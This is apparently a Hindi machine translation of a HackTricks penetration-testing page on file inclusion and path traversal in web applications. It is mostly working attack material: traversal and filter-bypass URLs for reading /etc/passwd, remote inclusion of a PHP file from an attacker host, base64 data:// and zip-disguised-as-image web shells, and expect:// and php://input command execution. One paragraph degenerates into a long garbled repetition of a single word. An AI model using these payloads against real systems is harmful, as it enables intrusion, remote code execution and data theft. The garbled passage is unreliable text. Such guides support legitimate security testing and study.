hacktricks/pentesting-web/file-inclusion
2024-07-19 10:20:41 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 09:38:06 +00:00
lfi2rce-via-eternal-waiting.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 09:38:06 +00:00
lfi2rce-via-nginx-temp-files.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:17:20 +00:00
lfi2rce-via-php-filters.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-06-05 14:30:32 +00:00
lfi2rce-via-phpinfo.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
lfi2rce-via-segmentation-fault.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 19:58:30 +00:00
lfi2rce-via-temp-file-uploads.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:20:41 +00:00
phar-deserialization.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 15:39:20 +00:00
README.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-06-05 14:30:32 +00:00
via-php_session_upload_progress.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 19:58:30 +00:00

फ़ाइल समावेश / पथ चालन

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ लीप्त हों

रियल-टाइम हैक न्यूज़
तेजी से बदलती हैकिंग दुनिया के साथ कदम से कदम रहें और अपडेट्स पर अंदरूनी दृष्टि बनाएं

नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट्स के साथ सूचित रहें

हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

फ़ाइल समावेश

दूरस्थ फ़ाइल समावेश (RFI): फ़ाइल एक दूरस्थ सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे क्रियान्वित करेगा)। Php में यह डिफ़ॉल्ट रूप से अक्षम है (allow_url_include)।
स्थानीय फ़ाइल समावेश (LFI): सर्वर स्थानीय फ़ाइल लोड करता है।

यह सुरक्षा दोष उत्पन्न होता है जब उपयोगकर्ता किसी तरह से सर्वर द्वारा लोड की जाने वाली फ़ाइल को नियंत्रित कर सकता है।

वंलरेबल PHP फ़ंक्शन्स: require, require_once, include, include_once

इस सुरक्षा दोष को शोधने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap

ब्लाइंड - दिलचस्प - LFI2RCE फ़ाइलें

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

कई *nix LFI सूचियों को मिश्रित करके और अधिक पथ जोड़कर मैंने यह एक बनाया है:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

आप / को \ के लिए बदलने का प्रयास करें
आप ../../../../../ भी जोड़ने का प्रयास करें

एक सूची जो फ़ाइल /etc/password को खोजने के लिए कई तकनीकों का उपयोग करती है (कि क्या संक्रमण है) यहां मिल सकती है here

Windows

विभिन्न शब्द सूचियों का मिश्रण:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

आप / को \ के लिए बदलने का प्रयास करें
आप C:/ को हटाने और ../../../../../ जोड़ने का प्रयास करें

एक सूची जो फ़ाइल /boot.ini को खोजने के लिए कई तकनीकों का उपयोग करती है (कि क्या संक्रमण है) यहां मिल सकती है here

OS X

Linux की LFI सूची की जाँच करें.

मूल LFI और बायपास

सभी उदाहरण स्थानीय फ़ाइल समावेशन के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेशन में भी लागू किया जा सकता है (पृष्ठ=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

ट्रावर्सल सीक्वेंसेस स्ट्रिप्ड गैर-पुनरावृत्तिकरण

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

नल बाइट (%00)

प्रदान की गई स्ट्रिंग के अंत में अधिक वर्ण जोड़ें (बाइपास: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल हो गया है

इंकोडिंग

आप डबल URL इंकोड (और अन्य) जैसे गैर-मानक इंकोडिंग का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

मौजूदा फ़ोल्डर से

शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं की जांच

सर्वर के फ़ाइल सिस्टम को विशेष तकनीकों का उपयोग करके श्रेणीबद्ध रूप से जांचा जा सकता है ताकि निर्देशिकाओं को पहचाना जा सके, केवल फ़ाइलों को नहीं। यह प्रक्रिया निर्देशिका गहराई का निर्धारण करने और विशेष फ़ोल्डर की मौजूदगी की जांच करने को शामिल करती है। नीचे इसे प्राप्त करने का एक विस्तृत तरीका दिया गया है:

  1. निर्देशिका की गहराई का निर्धारण: /etc/passwd फ़ाइल को सफलतापूर्वक प्राप्त करके अपनी वर्तमान निर्देशिका की गहराई का निर्धारित करें (यदि सर्वर लिनक्स-आधारित है)। एक उदाहरण URL निम्नलिखित ढंग से संरचित हो सकता है, जो तीन की गहराई को दर्शाता है:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. फोल्डर के लिए जांच करें: संदिग्ध फोल्डर का नाम (जैसे, private) URL में जोड़ें, फिर /etc/passwd पर वापस जाएं। अतिरिक्त निर्देशिका स्तर को एक बढ़ाने की आवश्यकता होती है:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. परिणामों का व्याख्या करें: सर्वर का प्रतिक्रिया इसका संकेत देती है कि क्या फ़ोल्डर मौजूद है:
    • त्रुटि / कोई आउटपुट नहीं: संभावना है कि निर्दिष्ट स्थान पर private फ़ोल्डर मौजूद नहीं है।
    • /etc/passwd की सामग्री: private फ़ोल्डर की मौजूदगी पुष्टि करती है।
  2. रूढ़िवादी अन्वेषण: खोजे गए फ़ोल्डर को उपफ़ोल्डर या फ़ाइल के लिए और भी जांचा जा सकता है उसी तकनीक या पारंपरिक स्थानीय फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।

फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशितरूप से निर्देशितरूप से निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर्देशित निर

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

पथ कटौती तकनीक

पथ कटौती एक विधि है जिसका उपयोग वेब एप्लिकेशन में फ़ाइल पथ को मानिपुर्थ करने के लिए किया जाता है। इसका उपयोग अक्सर किया जाता है ताकि निश्चित सुरक्षा उपायों को छलकर फ़ाइल पथ के अंत में अतिरिक्त वर्ण जोड़ने के द्वारा प्रतिबंधित फ़ाइलों तक पहुँचा जा सके। लक्ष्य एक फ़ाइल पथ तैयार करना है जो सुरक्षा उपाय द्वारा संशोधित किया जाए, फिर भी वांछित फ़ाइल की ओर पहुँचाए।

PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व को बराबर माना जा सकता है क्योंकि फ़ाइल सिस्टम की प्रकृति के कारण। उदाहरण के लिए:

  • /etc/passwd, /etc//passwd, /etc/./passwd, और /etc/passwd/ सभी को एक ही पथ के रूप में देखा जाता है।
  • जब आखिरी 6 वर्ण passwd होते हैं, तो / जोड़ना (passwd/ बनाना) लक्षित फ़ाइल को बदल नहीं देता।
  • उसी तरह, अगर फ़ाइल पथ में .php जोड़ा जाता है (जैसे shellcode.php), तो फ़ाइल तक पहुँचने में कोई परिवर्तन नहीं होगा।

प्रदत्त उदाहरण दिखाते हैं कि /etc/passwd तक पहुँचने के लिए पथ कटौती का उपयोग कैसे किया जा सकता है, जो एक सामान्य लक्ष्य है क्योंकि इसमें संवेदनशील सामग्री होती है (उपयोगकर्ता खाता जानकारी)।

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

इन परिदृश्यों में, आवश्यकता होने वाली ट्रावर्सल्स की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर के कॉन्फ़िगरेशन पर निर्भर कर सकती है।

  • डॉट सेगमेंट्स और अतिरिक्त वर्ण: ट्रावर्सल सिक्वेंसेस (../) को अतिरिक्त डॉट सेगमेंट्स और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, सर्वर द्वारा जोड़ी गई स्ट्रिंग्स को प्रभावी रूप से नजरअंदाज करते हुए।
  • आवश्यक ट्रावर्सल्स की संख्या का निर्धारण: प्रयोग और त्रुटि के माध्यम से, कोई भी जान सकता है कि रूट निर्देशिका और फिर /etc/passwd तक नेविगेट करने के लिए आवश्यक ../ सिक्वेंसेस की सटीक संख्या क्या है, सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे .php) को न्यूट्रलाइज़ किया जाता है लेकिन वांछित पथ (/etc/passwd) अटूट रहता है।
  • एक नकली निर्देशिका के साथ शुरू करना: एक अस्तित्व न रखने वाली निर्देशिका के साथ पथ की शुरुआत करना एक सामान्य अभ्यास है (जैसे a/)। यह तकनीक एक सावधानिक उपाय के रूप में या सर्वर के पथ पार्सिंग तर्क की आवश्यकताओं को पूरा करने के लिए उपयोग किया जाता है।

पथ कटौती तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य कोई भिन्न दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए अक्सर परीक्षण आवश्यक होता है।

यह सुरक्षा दोष PHP 5.3 में सुधारा गया था।

फ़िल्टर बाइपास ट्रिक्स

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

रिमोट फ़ाइल समावेश

PHP में यह डिफ़ॉल्ट रूप से अक्षम है क्योंकि allow_url_include Off है। यह काम करने के लिए यह On होना चाहिए, और उस मामले में आप अपने सर्वर से एक PHP फ़ाइल समाविष्ट कर सकते हैं और RCE प्राप्त कर सकते हैं:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारणवश allow_url_include On है, लेकिन PHP बाहरी वेबपेजों तक पहुंच को फ़िल्टर कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें बेस64 को डिकोड करने के लिए बी64 PHP कोड का उपयोग करें और RCE प्राप्त करें:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} पिछले कोड में, अंतिम +.txt इसलिए जोड़ा गया था क्योंकि हमलावर को एक स्ट्रिंग की आवश्यकता थी जो .txt में समाप्त होती है, इसलिए स्ट्रिंग उसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल कचरा लौटाएगा और वास्तविक PHP कोड शामिल होगा (और इसलिए, क्रियान्वित होगा)। {% endhint %}

एक और उदाहरण php:// प्रोटोकॉल का उपयोग न करने वाला हो सकता है:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

पायथन रूट तत्व

पायथन में इस तरह के कोड में:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता file_name में पूर्ण पथ पास करता है, तो पिछला पथ बस हटा दिया जाता है:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह इच्छित व्यवहार है जैसा कि दस्तावेज़ के अनुसार:

यदि कोई घटक एक पूर्ण मार्ग है, तो सभी पिछले घटक छोड़ दिए जाते हैं और जोड़ना पूर्ण मार्ग घटक से जारी रहता है।

जावा सूची निर्देशिकाएँ

ऐसा लगता है कि अगर आपके पास जावा में एक पथ अभिव्यक्ति है और आप एक निर्देशिका के लिए पूछते हैं बजाय एक फ़ाइल के, तो निर्देशिका की सूची वापस लौटाई जाएगी। यह अन्य भाषाओं में नहीं होगा (जैसा कि मुझे लगता है)।

शीर्ष 25 पैरामीटर

यहाँ एक ऐसी शीर्ष 25 पैरामीटर की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) संरचनाओं के लिए संवेदनशील हो सकते हैं (से लिंक):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI का उपयोग PHP wrappers और protocols का उपयोग करके

php://filter

PHP फ़िल्टर्स डेटा पर सामान्य संशोधन कार्यों को करने की अनुमति देते हैं जो इसे पढ़ा या लिखा जाता है। ये 5 श्रेणियों में हैं:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से टैग हटाएं ("<" और ">" वाले वस्तुओं को)
  • ध्यान दें कि यह फ़िल्टर PHP के आधुनिक संस्करणों से गायब हो गया है
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : एक विभिन्न इन्कोडिंग में परिवर्तित करता है (convert.iconv.<input_enc>.<output_enc>)। समर्थित सभी इन्कोडिंग की सूची प्राप्त करने के लिए कंसोल में रन करें: iconv -l

{% hint style="warning" %} convert.iconv.* परिवर्तन फ़िल्टर का दुरुपयोग करके आप कल्पित पाठ उत्पन्न कर सकते हैं, जो कल्पित पाठ लिखने या कल्पित पाठ प्रक्रिया को शामिल करने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए LFI2RCE via php filters देखें। {% endhint %}

  • Compression Filters
  • zlib.deflate: सामग्री को संकुचित करें (यदि बहुत सारी जानकारी को बाहर निकालना उपयोगी है)
  • zlib.inflate: डेटा को अनसंकुचित करें
  • Encryption Filters
  • mcrypt.* : पुराना
  • mdecrypt.* : पुराना
  • अन्य फ़िल्टर्स
  • php में var_dump(stream_get_filters()); चलाकर आप कुछ अप्रत्याशित फ़िल्टर्स पा सकते हैं:
  • consumed
  • dechunk: HTTP चंक्ड इन्कोडिंग को उल्टा देता है
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} "php://filter" भाग मामूली रूप से मामूली है {% endhint %}

php फ़िल्टर का उपयोग ओरेकल के रूप में अनियमित फ़ाइलें पढ़ने के लिए

इस पोस्ट में सर्वर से वापसी प्राप्त किए बिना स्थानीय फ़ाइल पढ़ने की एक तकनीक प्रस्तुत की गई है। यह तकनीक php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चार से चार) करने के रूप में ओरेकल के रूप में है। यह इसलिए है क्योंकि php फ़िल्टर एक पाठ को पर्याप्त बड़ा बनाने के लिए उपयोग किया जा सकता है ताकि php एक अपशिष्ट फेंके।

मूल पोस्ट में आप तकनीक का विस्तृत विवरण पा सकते हैं, लेकिन यहाँ एक त्वरित सारांश है:

  • पाठ के पहले अक्षर को प्रारंभ में छोड़ने और स्ट्रिंग का आकार विस्तारणात्मक बनाने के लिए कोडेक UCS-4LE का उपयोग करें।
  • यह उस समय उपयोग किया जाएगा जब पहले अक्षर को सही रूप से अनुमानित किया जाए कि php एक त्रुटि ट्रिगर करेगा
  • डीचंक फ़िल्टर सब कुछ हटा देगा अगर पहला वर्णक्रम न हो, इसलिए हम जान सकते हैं कि पहला वर्णक्रम हैक्स है या नहीं।
  • इसके साथ, पिछले वाले के साथ (और अन्य फ़िल्टर जो अनुमानित अक्षर पर निर्भर करते हैं), हमें पता लगाने की अनुमति देगा कि पाठ के शुरुआती अक्षर को अनुमानित करने के लिए पर्याप्त परिवर्तन किए जाने पर नहीं एक हेक्साडेसिमल वर्णक्रम है। क्योंकि यदि हेक्स है, तो डीचंक इसे मिटाएगा नहीं और प्रारंभिक बम php त्रुटि कर देगा।
  • कोडेक convert.iconv.UNICODE.CP930 हर वर्णक्रम को अगले में बदल देता है (इसलिए इस कोडेक के बाद: a -> b)। यह हमें पता चलता है कि पहला अक्षर एक a है उदाहरण के लिए क्योंकि अगर हम 6 इस कोडेक का उपयोग करते हैं a->b->c->d->e->f->g तो अक्षर अब और भी हेक्साडेसिमल वर्णक्रम नहीं है, इसलिए डीचंक इसे मिटाएगा नहीं और php त्रुटि ट्रिगर होगी क्योंकि यह प्रारंभिक बम के साथ गुणा करेगा।
  • प्रारंभ में rot13 जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है, जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग किया जा सकता है अन्य अक्षरों को हेक्स सीमा में ले जाने के लिए)।
  • जब प्रारंभिक वर्णक्रम एक संख्या है तो इसे base64 एन्कोड करना और नंबर लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
  • अंतिम समस्या यह है कि देखना है कि प्रारंभिक अक्षर से अधिक कैसे लीक करेंconvert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE जैसे क्रम स्मृति फ़िल्टर का उपयोग करके वर्णों के क्रम को बदलना संभव है और पाठ के पहले स्थान पर अन्य अक्षर प्राप्त करना संभव है।
  • और अधिक डेटा प्राप्त करने के लिए विचार यह है कि प्रारंभ में 2 बाइट के जंक डेटा उत्पन्न कैसे करें जिसे convert.iconv.UTF16.UTF16 के साथ उपयोग करके, UCS-4LE लागू करके इसे अगले 2 बाइट के साथ पिवट करें, और डेटा को हटाएं जब तक जंक डेटा न हो (यह प्रारंभिक पाठ के पहले 2 बाइट हटा देगा)। इसे जारी रखने के लिए जब तक आप लीक करने के लिए इच्छित बिट तक पहुंच जाएं।

पोस्ट में इसे स्वचालित रूप से करने के लिए एक उपकरण भी लीक हुआ था: php_filters_chain_oracle_exploit.

php://fd

यह रैपर उस फ़ाइल डिस्क्रिप्टर्स तक पहुंचने की अनुमति देता है जिनके पास प्रक्रिया खोली है। खोली गई फ़ाइलों की सामग्री को बाहर निकालने के लिए संभावित उपयोगी:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

आप फ़ाइल डिस्क्रिप्टर 0, 1 और 2 तक पहुँचने के लिए php://stdin, php://stdout और php://stderr का उपयोग कर सकते हैं (यह कैसे हमले में उपयोगी हो सकता है, इसके बारे में स्पष्ट नहीं है)

zip:// और rar://

एक Zip या Rar फ़ाइल अपलोड करें जिसमें एक PHPShell हो और इसे एक्सेस करें।
रार प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए।

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

डेटा://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

**कृपया ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन द्वारा प्रतिबंधित है allow_url_open और allow_url_include

expect://

Expect को सक्रिय किया जाना चाहिए। आप इसका उपयोग करके कोड को निष्पादित कर सकते हैं:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

इनपुट://

POST पैरामीटर में अपना पेयलोड निर्दिष्ट करें:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

एक .phar फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोडिंग के लिए include जैसे फ़ंक्शन का उपयोग करता है। नीचे दिए गए PHP कोड स्निपेट में .phar फ़ाइल बनाने का प्रदर्शन किया गया है:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar फ़ाइल को कॉम्पाइल करने के लिए, निम्नलिखित कमांड को निष्पादित किया जाना चाहिए:

php --define phar.readonly=0 create_path.php

जब निष्पादन होता है, तो एक फ़ाइल नामक test.phar बनाई जाएगी, जिसे संभावित रूप से स्थानीय फ़ाइल समावेशन (LFI) दुरुपयोग के लिए उपयोग किया जा सकता है।

उन मामलों में जहां LFI केवल PHP कोड को नहीं निष्पादित करता है, बल्कि file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), या filesize() जैसे फ़ंक्शन के माध्यम से फ़ाइल पढ़ने का कार्य करता है, तो डेसीरियलाइज़ेशन दुरुपयोग का प्रयास किया जा सकता है। यह दुरुपयोग phar प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।

.phar फ़ाइलों के संदर्भ में डेसीरियलाइज़ेशन दुरुपयोग को उत्पन्न करने के लिए विस्तृत समझने के लिए नीचे दिए गए दस्तावेज़ का संदर्भ देखें:

Phar Deserialization Exploitation Guide

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

CVE-2024-2961

PHP फ़िल्टर्स का समर्थन करने वाले PHP से किसी भी अर्बिट्रेरी फ़ाइल पढ़ने का दुरुपयोग किया जा सकता था ताकि आरसीई प्राप्त किया जा सके। विस्तृत विवरण इस पोस्ट में पाया जा सकता है.
बहुत तेज सारांश: PHP हीप में 3 बाइट ओवरफ़्लो का दुरुपयोग किया गया था ताकि निश्चित आकार के मुफ्त टुकड़ों की श्रृंखला को बदला जा सके ताकि किसी भी पते पर कुछ भी लिखा जा सके, इसलिए एक हुक जोड़ा गया था जिससे system को कॉल करने के लिए।
अधिक PHP फ़िल्टर्स का दुरुपयोग करके विशिष्ट आकारों के टुकड़ों को आवंटित किया जा सकता था।

अधिक प्रोटोकॉल

